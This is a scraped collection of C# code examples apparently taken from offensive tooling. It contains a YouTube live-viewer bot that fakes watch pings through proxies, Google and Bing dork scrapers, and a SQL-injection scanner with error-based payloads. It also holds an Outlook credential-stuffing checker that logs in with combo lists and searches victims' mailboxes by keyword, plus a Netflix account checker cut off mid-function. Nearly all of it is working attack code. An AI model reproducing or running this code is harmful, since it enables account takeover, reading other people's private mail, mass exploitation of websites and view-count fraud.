                                            dork = $"url={dork} | WAF={waf.ToString()} | payload={item.ToString()}";
                                        }
                                        catch
                                        {
                                        }

                                        return(bruteResult.xss);
                                    }
                                }
                            }
                        }
                    }
                }
                transActions--;
                return(bruteResult.unvulnerAble);
            }
            catch
            {
                transActions--;
                return(bruteResult.unvulnerAble);
            }
        }
Пример #23
0
        private static void Worker()
        {
            var random = new Random();

            while (true)
            {
                try
                {
                    using (var req = new HttpRequest
                    {
                        Proxy = _scraper.Next()
                    })
                    {
                        req.UserAgentRandomize();

                        HttpResponse res = req.Get($"https://www.youtube.com/watch?v={_id}");

                        var sres        = res.ToString();
                        var viewersTemp = string.Join("",
                                                      RegularExpressions.Viewers.Match(sres).Groups[1].Value.Where(char.IsDigit));

                        if (!string.IsNullOrEmpty(viewersTemp))
                        {
                            _viewers = viewersTemp;
                        }

                        _title = RegularExpressions.Title.Match(sres).Groups[1].Value;

                        var url = RegularExpressions.ViewUrl.Match(sres).Groups[1].Value;
                        url = url.Replace(@"\u0026", "&").Replace("%2C", ",").Replace(@"\/", "/");

                        var query = HttpUtility.ParseQueryString(url);

                        var cl = query.Get(query.AllKeys[0]);
                        var ei = query.Get("ei");
                        var of = query.Get("of");
                        var vm = query.Get("vm");

                        var buffer = new byte[100];

                        random.NextBytes(buffer);

                        var cpn = RegularExpressions.Trash.Replace(Convert.ToBase64String(buffer), "").Substring(0, 16);

                        var st = random.Next(1000, 10000);
                        var et = st + random.Next(200, 700);

                        var rt = random.Next(10, 200);

                        var lact = random.Next(1000, 8000);
                        var rtn  = rt + 300;

                        var args = new Dictionary <string, string>
                        {
                            ["ns"]        = "yt",
                            ["el"]        = "detailpage",
                            ["cpn"]       = cpn,
                            ["docid"]     = _id,
                            ["ver"]       = "2",
                            ["cmt"]       = et.ToString(),
                            ["ei"]        = ei,
                            ["fmt"]       = "243",
                            ["fs"]        = "0",
                            ["rt"]        = rt.ToString(),
                            ["of"]        = of,
                            ["euri"]      = "",
                            ["lact"]      = lact.ToString(),
                            ["live"]      = "dvr",
                            ["cl"]        = cl,
                            ["state"]     = "playing",
                            ["vm"]        = vm,
                            ["volume"]    = "100",
                            ["cbr"]       = "Firefox",
                            ["cbrver"]    = "83.0",
                            ["c"]         = "WEB",
                            ["cplayer"]   = "UNIPLAYER",
                            ["cver"]      = "2.20201210.01.00",
                            ["cos"]       = "Windows",
                            ["cosver"]    = "10.0",
                            ["cplatform"] = "DESKTOP",
                            ["delay"]     = "5",
                            ["hl"]        = "en_US",
                            ["rtn"]       = rtn.ToString(),
                            ["aftm"]      = "140",
                            ["rti"]       = rt.ToString(),
                            ["muted"]     = "0",
                            ["st"]        = st.ToString(),
                            ["et"]        = et.ToString()
                        };

                        var urlToGet = BuildUrl(args);

                        req.AcceptEncoding = "gzip, deflate";
                        req.AddHeader("Host", "www.youtube.com");

                        req.Get(urlToGet);
                        Interlocked.Increment(ref _botted);
                    }
                }
                catch
                {
                    Interlocked.Increment(ref _errors);
                }

                Thread.Sleep(1);
            }
        }
Пример #24
0
        public bruteResult Config(ref string dork, string objectString, string proxy = null, string additionalOne = null, string additionalTwo = null)
        {
            transActions++;
            try
            {
                string userAgent          = Leaf.xNet.Http.RandomUserAgent();
                Leaf.xNet.HttpRequest req = new Leaf.xNet.HttpRequest()
                {
                    IgnoreProtocolErrors = true,
                    AllowAutoRedirect    = true,
                    Cookies          = new CookieStorage(false),
                    ConnectTimeout   = helperObejct.timeOut * 1000,
                    ReadWriteTimeout = helperObejct.timeOut * 1000,
                    KeepAlive        = true,
                    UserAgent        = userAgent
                };
again:
                req.UserAgent = userAgent;
                if (NeedProxy)
                {
                    helperObejct.setProxy(ref req, proxy);
                }
                req.Get("https://www.google.com/ncr");
                req.ClearAllHeaders();
                req.Cookies = req.Response.Cookies;
                string url = $"https://www.google.com/search?q={dork}&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=0";
                req.Get(url);
                string source   = req.Response.ToString();
                string nextPage = Regex.Match(source, @"href=""(\S{1,1000})"" aria-label=""Next page""").Groups[1].Value.ToString();
                source = WebUtility.UrlDecode(source);
                Regex           rx = new Regex(@"<a href=""/url[?]q=(\S{1,100})[&amp]");
                MatchCollection mt = rx.Matches(source);
                foreach (Match item in mt)
                {
                    string val = item.Groups[1].Value.ToString();
                    val = Regex.Replace(val, @"&amp\S{1,10000}", "");
                    if (Uri.IsWellFormedUriString(val, UriKind.Absolute))
                    {
                        if (!helperObejct.urlsList.Contains(val))
                        {
                            helperObejct.urlsList.Add(val);
                            helperObejct.Save(val, "Google");
                            Interlocked.Increment(ref statistics.urlFound);
                            Interlocked.Increment(ref statistics.google);
                            helperObejct.showStatusVoid();
                        }
                    }
                }
                if (nextPage.Length > 10)
                {
                    url = "https://www.google.com" + nextPage;
                    goto again;
                }
                else
                {
                    transActions--;
                    return(bruteResult.itsSearcher);
                }
            }
            catch (Exception E)
            {
                transActions--;
                helperObejct.HandleException(E);
                return(bruteResult.error);
            }
        }
Пример #25
0
        public bruteResult Config(ref string dork, string objectString, string proxy = null, string additionalOne = null, string additionalTwo = null)
        {
            transActions++;
            try
            {
                string userAgent          = Leaf.xNet.Http.RandomUserAgent();
                int    countMax           = helperObejct.inheritance * 1000;
                int    countNow           = 0;
                Leaf.xNet.HttpRequest req = new Leaf.xNet.HttpRequest()
                {
                    IgnoreProtocolErrors = true,
                    AllowAutoRedirect    = true,
                    Cookies          = new CookieStorage(false),
                    ConnectTimeout   = helperObejct.timeOut * 1000,
                    ReadWriteTimeout = helperObejct.timeOut * 1000,
                    KeepAlive        = true,
                    UserAgent        = userAgent
                };
again:
                req.UserAgent = userAgent;
                if (NeedProxy)
                {
                    helperObejct.setProxy(ref req, proxy);
                }
                string url = "https://www.bing.com/search?q=" + dork + "&first=" + countNow;
                req.Get(url);
                string          source = req.Response.ToString();
                Regex           rx     = new Regex(@"<a href=""(\S{1,1000})"" h=""ID=\S{1,1000}"">");
                MatchCollection mt     = rx.Matches(source);
                foreach (Match item in mt)
                {
                    string val = item.Groups[1].Value.ToString();
                    if (Uri.IsWellFormedUriString(val, UriKind.Absolute))
                    {
                        if (!helperObejct.urlsList.Contains(val))
                        {
                            helperObejct.urlsList.Add(val);
                            helperObejct.Save(val, "Bing");
                            Interlocked.Increment(ref statistics.urlFound);
                            Interlocked.Increment(ref statistics.bing);
                            helperObejct.showStatusVoid();
                        }
                    }
                }
                countNow += 50;
                if (countNow >= countMax)
                {
                    transActions--;
                    return(bruteResult.itsSearcher);
                }
                else
                {
                    goto again;
                }
            }
            catch (Exception E)
            {
                transActions--;
                helperObejct.HandleException(E);
                return(bruteResult.error);
            }
        }
Пример #26
0
        public bruteResult Config(ref string dork, string objectString, string proxy = null, string additionalOne = null, string additionalTwo = null)
        {
            transActions++;
            try
            {
                List <string> sqlpayloads = new List <string>()
                {
                    "'",
                    ".(('\".,,,,",
                    "AND 7786=7473-- FNiT",
                    "\"(().()('.",
                    "'YgxvMp<'\">AqklPj",
                    "') AND 7648=7021 AND ('vhCh'='vhCh",
                    " AND (SELECT 5232 FROM(SELECT COUNT(*),CONCAT(0x7178717071,(SELECT (ELT(5232=5232,1))),0x7176717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FeKK",
                    " AND 2229 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(113)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (2229=2229) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(113)+CHAR(113)))"
                };
                string userAgent = Leaf.xNet.Http.RandomUserAgent();
                bool   waf       = false;
                if (wafProtection(dork))
                {
                    waf = true;
                }
                Leaf.xNet.HttpRequest req = new Leaf.xNet.HttpRequest()
                {
                    IgnoreProtocolErrors = true,
                    AllowAutoRedirect    = false,
                    Cookies          = new CookieStorage(false),
                    ConnectTimeout   = helperObejct.timeOut * 1000,
                    ReadWriteTimeout = helperObejct.timeOut * 1000,
                    KeepAlive        = false,
                    UserAgent        = userAgent
                };
                string baseSource = "";
                foreach (string item in sqlpayloads)
                {
                    if (NeedProxy)
                    {
                        helperObejct.setProxy(ref req, proxy);
                    }
                    List <string> urls = helperObejct.insertPayload(dork, item);
                    foreach (string urlChecking in urls)
                    {
                        if (urlChecking == "itsnotInjectAble")
                        {
                            transActions--;
                            return(bruteResult.unvulnerAble);
                        }
                        else
                        {
                            if (baseSource.Length <= 0)
                            {
                                baseSource = req.Get(dork).ToString();
                            }
                            req.Get(urlChecking);
                            string        source     = req.Response.ToString().ToLower();
                            List <string> targetBugs = new List <string>()
                            {
                                "warning: mysql_connect()",
                                "warning: mysql_fetch_row()",
                                "error in your sql syntax",
                                "warning: mysql_result()",
                                "mysql_num_rows()",
                                "mysql_fetch_assoc()",
                                "mysql_fetch_row()",
                                "mysql_numrows()",
                                "mysql_fetch_object()",
                                "MySQL Driver",
                                "MySQL ODBC",
                                "MySQL Error",
                                "error in your SQL syntax"
                            };
                            foreach (string ite in targetBugs)
                            {
                                if (source.Contains(ite.ToLower()) && baseSource.Contains(ite) == false)
                                {
                                    transActions--;
                                    try
                                    {
                                        string url = dork;
                                        helperObejct.mainFormObject.Dispatcher.Invoke(() =>
                                        {
                                            itsABug bug = new itsABug()
                                            {
                                                id            = (helperObejct.mainFormObject.vulnerableUrlsList.Count + 1).ToString(),
                                                url           = url,
                                                vulnerability = "sql",
                                                WAF           = waf.ToString(),
                                                payload       = item
                                            };
                                            helperObejct.mainFormObject.vulnerableUrlsList.Add(bug);
                                            helperObejct.mainFormObject.resultView.ItemsSource = helperObejct.mainFormObject.vulnerableUrlsList;
                                            helperObejct.mainFormObject.resultView.Items.Refresh();
                                        });
                                        dork = $"url={dork} | WAF={waf.ToString()} | payload={item.ToString()}";
                                    }
                                    catch
                                    {
                                    }

                                    return(bruteResult.sql);
                                }
                            }
                        }
                    }
                }
                transActions--;
                return(bruteResult.unvulnerAble);
            }
            catch
            {
                transActions--;
                return(bruteResult.unvulnerAble);
            }
        }
Пример #27
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new Leaf.xNet.HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    var ua = Http.RandomUserAgent();
                    req.AddHeader("User-Agent", ua);
                    req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                    req.AddHeader("Accept-Language", "en-US,en;q=0.9");
                    req.AddHeader("Accept-Encoding", "null");
                    req.AddHeader("Referer", "https://outlook.live.com/owa/0?state=1&redirectTo=aHR0cHM6Ly9vdXRsb29rLmxpdmUuY29tL21haWwvMA");
                    req.AddHeader("DNT", "1");
                    req.AddHeader("Connection", "keep-alive");
                    req.AddHeader("Upgrade-Insecure-Requests", "1");

                    var    res0          = req.Get("https://outlook.live.com/owa/0?state=1&redirectTo=aHR0cHM6Ly9vdXRsb29rLmxpdmUuY29tL21haWwvMA&nlp=1");
                    string FIRST_REQUEST = res0.ToString();

                    var HPGID               = Functions.LR(FIRST_REQUEST, "hpgid:", ",").FirstOrDefault();
                    var UAID                = req.Cookies.GetCookies(res0.Address)["uaid"].Value;
                    var FLOWTOKEN           = Regex.Match(FIRST_REQUEST, "name=\"PPFT\" id=\".+?\" value=\"(.+?)\"").Groups[1].Value;
                    var LOGIN_CHECK_ADDRESS = Regex.Match(FIRST_REQUEST, "(?is:'(https://login\\.live\\.com/ppsecure/post\\.srf.+?)')").Groups[1].Value;

                    req.AllowAutoRedirect     = false;
                    req.EnableEncodingContent = true;
                    req.AddHeader("Host", "login.live.com");
                    req.AddHeader("User-Agent", ua);
                    req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                    req.AddHeader("Accept-Language", "en-US,en;q=0.9");
                    req.AddHeader("Accept-Encoding", "null");
                    req.AddHeader("Referer", $"https://login.live.com/oauth20_authorize.srf?client_id=82023151-c27d-4fb5-8551-10c10724a55e&redirect_uri=https%3A%2F%2Faccounts.epicgames.com%2FOAuthAuthorized&state=<STATE>&scope=xboxlive.signin&service_entity=undefined&force_verify=true&response_type=code&display=popup");
                    req.AddHeader("Origin", "https://login.live.com");
                    req.AddHeader("DNT", "1");
                    req.AddHeader("Connection", "keep-alive");
                    req.AddHeader("Upgrade-Insecure-Requests", "1");

                    var    res1           = req.Post(LOGIN_CHECK_ADDRESS, $"i13=1&login={credentials[0]}&loginfmt={credentials[0]}&type=11&LoginOptions=1&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd={credentials[1]}&KMSI=on&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT={FLOWTOKEN}&PPSX=P&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=1&isSignupPost=0&i2=1&i17=0&i18=&i19=3500", "application/x-www-form-urlencoded");
                    string SECOND_REQUEST = res1.ToString();

                    if (SECOND_REQUEST.Contains("sErrTxt:'Your account or password is incorrect."))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (SECOND_REQUEST.Contains("name=\"t\" id=\"t\" value=\""))
                    {
                        var PREREQ_DETAILS_ADDRESS = Functions.LR(SECOND_REQUEST, "id=\"fmHF\" action=\"", "\"").FirstOrDefault();
                        var NAPEXP  = Functions.LR(SECOND_REQUEST, "id=\"NAPExp\" value=\"", "\"").FirstOrDefault();
                        var WBIDS   = Functions.LR(SECOND_REQUEST, "id=\"wbids\" value=\"", "\"").FirstOrDefault();
                        var PPRID   = Functions.LR(SECOND_REQUEST, "id=\"pprid\" value=\"", "\"").FirstOrDefault();
                        var WBID    = Functions.LR(SECOND_REQUEST, "id=\"wbid\" value=\"", "\"").FirstOrDefault();
                        var NAP     = Functions.LR(SECOND_REQUEST, "id=\"NAP\" value=\"", "\"").FirstOrDefault();
                        var ANON    = Functions.LR(SECOND_REQUEST, "id=\"ANON\" value=\"", "\"").FirstOrDefault();
                        var ANONEXP = Functions.LR(SECOND_REQUEST, "id=\"ANONExp\" value=\"", "\"").FirstOrDefault();
                        var T       = Functions.LR(SECOND_REQUEST, "id=\"t\" value=\"", "\"").FirstOrDefault();

                        req.EnableEncodingContent = true;
                        req.AddHeader("user-agent", ua);
                        req.AddHeader("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                        req.AddHeader("accept-language", "ach,en-GB;q=0.8,en-US;q=0.5,en;q=0.3");
                        req.AddHeader("accept-encoding", "null");
                        req.AddHeader("referer", "https://login.live.com/");
                        req.AddHeader("origin", "https://login.live.com");
                        req.AddHeader("dnt", "1");
                        string ok = req.Post(PREREQ_DETAILS_ADDRESS, $"NAPExp={NAPEXP}&wbids={WBIDS}&pprid={PPRID}&wbid={WBID}&NAP={NAP}&ANON={ANON}&ANONExp={ANONEXP}&t={T}", "application/x-www-form-urlencoded").ToString();

                        req.AllowAutoRedirect = false;
                        req.AddHeader("user-agent", ua);
                        req.AddHeader("accept", "*/*");
                        req.AddHeader("accept-language", "ach,en-GB;q=0.8,en-US;q=0.5,en;q=0.3");
                        req.AddHeader("accept-encoding", "null");
                        req.AddHeader("referer", "https://outlook.live.com/");
                        req.AddHeader("action", "StartupData");
                        req.AddHeader("x-js-clienttype", "2");
                        req.AddHeader("x-js-experiment", "1");
                        req.AddHeader("x-owa-canary", "X-OWA-CANARY_cookie_is_null_or_empty");
                        req.AddHeader("x-req-source", "Mail");
                        req.AddHeader("Mail", "https://outlook.live.com");
                        req.AddHeader("dnt", "1");
                        string ok1 = req.Get("https://outlook.live.com/owa/0/startupdata.ashx?app=Mail&n=0").ToString();

                        req.AllowAutoRedirect = false;
                        req.AddHeader("user-agent", ua);
                        req.AddHeader("accept", "*/*");
                        req.AddHeader("accept-language", "accept-language");
                        req.AddHeader("accept-encoding", "gzip, deflate, br");
                        req.AddHeader("referer", "https://outlook.live.com/");
                        req.AddHeader("action", "GetAccessTokenforResource");
                        req.AddHeader("x-owa-canary", req.Cookies.GetCookies("https://outlook.live.com/owa/0/service.svc?action=GetAccessTokenforResource&UA=0&app=Mail")["X-OWA-CANARY"].Value);
                        req.AddHeader("x-owa-urlpostdata", "%7B%22__type%22%3A%22TokenRequest%3A%23Exchange%22%2C%22Resource%22%3A%22https%3A%2F%2Foutlook.live.com%22%7D");
                        req.AddHeader("x-req-source", "Mail");
                        req.AddHeader("origin", "https://outlook.live.com");
                        req.AddHeader("dnt", "1");

                        string ok2 = req.Post("https://outlook.live.com/owa/0/service.svc?action=GetAccessTokenforResource&UA=0&app=Mail", "w", "application/json").ToString();

                        if (!ok2.Contains("AccessToken"))
                        {
                            Variables.combos.Enqueue(combo);
                            Variables.proxyIndex++;
                            Variables.Errors++;
                        }

                        var ACCESS_TOKEN = Functions.JSON(ok2, "AccessToken").FirstOrDefault();
                        var CVID         = Guid.NewGuid().ToString();

                        foreach (string line in File.ReadAllLines("Files//Keywords.txt"))
                        {
                            req.AllowAutoRedirect = false;
                            req.AddHeader("authorization", $"Bearer {ACCESS_TOKEN}");
                            string final = req.Post("https://outlook.live.com/search/api/v1/query", "{\"Cvid\":\"" + CVID + "\",\"Scenario\":{\"Name\":\"owa.react\"},\"TimeZone\":\"Pacific Standard Time\",\"TextDecorations\":\"Off\",\"EntityRequests\":[{\"EntityType\":\"Conversation\",\"Filter\":{\"Or\":[{\"Term\":{\"DistinguishedFolderName\":\"msgfolderroot\"}},{\"Term\":{\"DistinguishedFolderName\":\"DeletedItems\"}}]},\"From\":0,\"Provenances\":[\"Exchange\"],\"Query\":{\"QueryString\":\"" + line + "\"},\"RefiningQueries\":null,\"Size\":25,\"Sort\":[{\"Field\":\"Score\",\"SortDirection\":\"Desc\",\"Count\":3},{\"Field\":\"Time\",\"SortDirection\":\"Desc\"}],\"QueryAlterationOptions\":{\"EnableSuggestion\":true,\"EnableAlteration\":true,\"SupportedRecourseDisplayTypes\":[\"Suggestion\",\"NoResultModification\",\"NoResultFolderRefinerModification\",\"NoRequeryModification\"]},\"PropertySet\":\"ProvenanceOptimized\"}],\"LogicalId\":\"" + CVID + "\"}", "application/json").ToString();


                            if (final.Contains("\"ApiVersion\""))
                            {
                                var NAMES = string.Join(",", Functions.LR(final, "\"Address\":\"", "\"", true));
                                int a     = Regex.Matches(NAMES, line).Count;

                                if (a == 0)
                                {
                                    Variables.Custom++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                    }
                                }
                                else
                                {
                                    Variables.Valid++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        if (Config.kekr_UI == "LOG")
                                        {
                                            Console.WriteLine($"[+] " + combo + " | Keyword: " + line + " | Results: " + a, Color.Green);
                                        }
                                        File.AppendAllText(Variables.results + $"{line}.txt", combo + " | Keyword: " + line + " | Results: " + a + Environment.NewLine);
                                    }
                                }
                            }
                            else
                            {
                                Variables.combos.Enqueue(combo);
                                Variables.proxyIndex++;
                                Variables.Errors++;
                            }
                        }
                    }
                    else if (SECOND_REQUEST.Contains("action=\"https://account.live.com/recover") || SECOND_REQUEST.Contains("action=\"https://account.live.com/Abuse") || SECOND_REQUEST.Contains("action=\"https://account.live.com/ar/cancel") || SECOND_REQUEST.Contains("action=\"https://account.live.com/identity/confirm") || SECOND_REQUEST.Contains("title>Help us protect your account") || SECOND_REQUEST.Contains("action=\"https://account.live.com/RecoverAccount") || SECOND_REQUEST.Contains("action=\"https://account.live.com/Email/Confirm") || SECOND_REQUEST.Contains("action=\"https://account.live.com/Abuse") || SECOND_REQUEST.Contains("action=\"https://account.live.com/profile/accrue"))
                    {
                        Variables.Custom++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Пример #28
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var random     = "NFAPPL-02-IPHONE7=2-" + RandomCapitalsAndDigits(64);
                            var KIR        = UrlEncode("NFAPPL-02-IPHONE7=2-" + random);
                            var paramsData = UrlEncode("{\"action\":\"loginAction\",\"fields\":{\"userLoginId\":\"" +
                                                       array[0] + "\",\"rememberMe\":\"true\",\"password\":\"" +
                                                       array[1] +
                                                       "\"},\"verb\":\"POST\",\"mode\":\"login\",\"flow\":\"appleSignUp\"}");
                            var length =
                                "appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn=" +
                                KIR +
                                "&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true&param=" +
                                paramsData + "&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json"
                                .Length;

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent = "Argo/11.44.0 (iPhone; iOS 12.4.3; Scale/2.00)";
                            req.AddHeader("Host", "ios.prod.ftl.netflix.com");
                            req.AddHeader("X-Netflix.Argo.abTests", "");
                            req.AddHeader("X-Netflix.client.appVersion", "11.44.0");
                            req.AddHeader("Accept", "*/*");
                            req.AddHeader("X-Netflix.Argo.NFNSM", "9");
                            req.AddHeader("Accept-Language", "en-US;q=1, fa-UK;q=0.9, en-UK;q=0.8, ar-UK;q=0.7");
                            req.AddHeader("Accept-Encoding", "gzip, deflate");
                            req.AddHeader("X-Netflix.Request.Attempt", "1");
                            req.AddHeader("X-Netflix.client.idiom", "phone");
                            req.AddHeader("X-Netflix.Request.Routing",
                                          "{\"path\":\"/nq/iosui/argo/~11.44.0/user\",\"control_tag\":\"iosui_argo_non_member\"}");
                            req.AddHeader("X-Netflix.client.type", "argo");
                            req.AddHeader("Content-Length", length);
                            req.AddHeader("Connection", "close");
                            req.AddHeader("X-Netflix.client.iosVersion", "12.4.3");

                            var post = req.Post("https://ios.prod.ftl.netflix.com/iosui/user/11.44",
                                                "appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn=" +
                                                KIR +
                                                "&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true&param=" +
                                                paramsData + "&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json",
                                                "application/x-www-form-urlencoded").ToString();

                            if (!post.Contains("\"value\":\"incorrect_password\"},") ||
                                !post.Contains("unrecognized_email_consumption_only") ||
                                !post.Contains("login_error_consumption_only"))
                            {
                                if (post.Contains("memberHome"))
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    var cookie   = Parse(post, "\"flwssn\":\"", "\"");
                                    var cookiess = new CookieStorage();

                                    req.AddHeader("Cookie", "flwssn: " + cookie);
                                    req.Cookies = cookiess;
                                    req.AddHeader("Accept",
                                                  "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
                                    req.AddHeader("Accept-Encoding", "gzip, deflate, br");
                                    req.AddHeader("Cache-Control", "max-age=0");
                                    req.AddHeader("Connection", "keep-alive");
                                    req.Referer = "https://www.netflix.com/browse";
                                    req.AddHeader("Sec-Fetch-Dest", "document");
                                    req.AddHeader("Sec-Fetch-Mode", "navigate");
